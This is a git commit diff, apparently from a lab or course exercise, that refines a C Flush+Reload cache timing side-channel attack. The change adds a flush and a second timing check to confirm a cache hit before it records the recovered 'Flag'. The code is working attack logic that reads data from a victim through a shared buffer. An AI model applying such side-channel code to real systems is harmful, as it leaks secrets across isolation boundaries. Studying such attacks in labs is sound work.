part2 ver 0.6.0 double check

This commit is contained in:
ClF3 2024-11-05 09:55:32 +08:00
parent b071a46b79
commit fb2a2ba698
1 changed files with 9 additions and 3 deletions

View File

@ -18,6 +18,7 @@ int main() {
int index = -1;
int flag = -1;
CYCLES time = -1;
CYCLES new_time = -1;
int offset = 0;
int new_offset = 0;
// buf is shared between the attacker and the victim
@ -38,9 +39,14 @@ int main() {
}
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
clflush((ADDR_PTR)buf + offset * 128);
for(int i = 0; i < WAIT_TIME; i++);
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(new_time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
}
}
}
printf("Flag: %d\n", flag);